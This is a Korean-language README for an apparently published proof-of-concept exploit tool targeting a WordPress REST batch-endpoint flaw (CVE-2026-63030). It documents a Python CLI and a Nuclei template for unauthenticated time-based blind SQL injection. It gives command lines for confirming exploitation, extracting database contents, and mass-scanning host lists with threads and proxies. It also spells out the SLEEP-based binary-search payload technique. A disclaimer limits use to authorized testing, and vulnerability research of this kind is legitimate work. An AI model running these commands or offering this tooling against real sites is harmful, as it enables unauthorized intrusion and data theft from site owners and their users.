
CVE-2026-63030 취약점에 대한 개념 증명 익스플로잇으로, 보안 연구 및 테스트를 위한 공격 기술을 보여줍니다.
WordPress 코어의 batch-confusion 취약점(CVE-2026-63030 / CVE-2026-60137)에 대한 비인증 탐지 및 익스플로잇 도구로, REST API 배치 엔드포인트를 통해 SQL 인젝션 및 원격 코드 실행(RCE) 으로 이어집니다.
⚠️ 승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 아래의 면책 조항을 참조하십시오.
영향을 받는 WordPress 버전은 다음 위치에서 REST API 배치 엔드포인트를 노출합니다:
POST /wp-json/batch/v1, 또는POST /?rest_route=/batch/v1 (pretty-permalinks / wp-json이 비활성화된 경우의 대체 경로)batch confusion 결함을 통해 배치 본문 내의 중첩된 하위 요청이 적절한 인가 없이 처리되어, 비인증 공격자가 SQL을 주입하고(예: author_exclude 파라미터를 통해) 궁극적으로 RCE를 달성할 수 있습니다.
이 저장소는 다음을 제공합니다:
| 파일 | 용도 |
|---|---|
cve-2026-63030.py | Python CLI — 버전 탐지, 배치 엔드포인트 확인, SLEEP 기반 블라인드 SQLi 확인, --query 데이터 추출. 대량 스캔, 스레드, 프록시 지원. |
cve-2026-63030.yaml | Nuclei 템플릿 — 수동 버전 확인 + 두 엔드포인트 변형 모두에 대한 능동 시간 기반 SQLi 탐지. |
| 브랜치 | 영향 범위 |
|---|---|
| 6.8.x | 6.8.0 – 6.8.5 |
| 6.9.x | 6.9.0 – 6.9.4 |
| 7.0.x | 7.0.0 – 7.0.1 |
6.8.6, 6.9.5, 7.0.2에서 패치되었습니다.
requestsbeautifulsoup4pip install requests beautifulsoup4
python3 cve-2026-63030.py [options]
| 플래그 | 설명 |
|---|---|
-u, --url URL | 단일 대상 URL. |
-l, --list FILE | 대량 스캔을 위한 대상 URL 파일(한 줄에 하나씩, # 주석 허용). |
-p, --proxy URL | 프록시를 통해 요청을 라우팅합니다(예: http://127.0.0.1:8080). |
-t, --threads N | 대량 모드의 동시성(기본값 10). |
-q, --query SQL | 시간 기반 블라인드 인젝션으로 유출할 SQL, 예: "select @@version". |
--exploit | SLEEP 페이로드를 발사하여 익스플로잇을 확인합니다. |
--delay SEC | 블라인드 SQLi를 위한 SLEEP 대기 시간(기본값 2). |
--timeout SEC | 요청당 타임아웃(기본값 10). |
--silent | 배너를 표시하지 않습니다. |
-u/--url과 -l/--list는 상호 배타적입니다.
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/
# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080
# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5
# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"
# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"
<meta name="generator"> 태그를 파싱하고 영향을 받는 범위와 대조합니다./wp-json/batch/v1을 시도하고, 첫 번째가 응답하지 않는 경우에만 /?rest_route=/batch/v1로 대체합니다.--exploit은 SLEEP(n) 페이로드를 전송하고 응답이 실제로 지연되는지(duration >= delay) 검증합니다.--query는 이진 탐색(IF(ASCII(SUBSTRING(...)), SLEEP(n), 0))을 통해 결과를 한 문자씩 유출합니다.# Validate
nuclei -tl -t cve-2026-63030.yaml
# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/
템플릿은 두 엔드포인트 변형을 모두 탐지하고, 영향을 받는 WordPress 버전을 조건으로 duration >= 5를 통해 시간 기반 SQLi를 확인합니다.
이 프로젝트는 오직 교육 목적 및 승인된 보안 테스트를 위해 제공됩니다. 본인 소유의 시스템 또는 테스트에 대한 명시적 서면 허가를 받은 시스템(예: 침투 테스트 범위, 버그 바운티 프로그램, CTF)에만 사용할 수 있습니다.
소유하지 않았거나 테스트 권한이 없는 시스템에 대한 무단 스캔 또는 익스플로잇은 불법이며, 컴퓨터 오용 관련 법률(예: 미국의 CFAA, 영국의 Computer Misuse Act 및 기타 지역의 동등한 법령)에 따라 형사 처벌 대상이 될 수 있습니다.
저자와 기여자는 본 소프트웨어의 사용 또는 오용으로 인해 발생하는 어떠한 손해, 데이터 손실 또는 법적 결과에 대해서도 어떠한 책임도 지지 않으며 책임을 수용하지 않습니다. 본 도구를 사용함으로써 귀하는 자신의 사용이 합법적임을 진술하고 모든 관련 위험을 감수하는 것에 동의합니다.
의심스러운 경우 실행하지 마십시오.
0xh7ml — 방어적 연구 및 교육을 위해 있는 그대로 제공됩니다.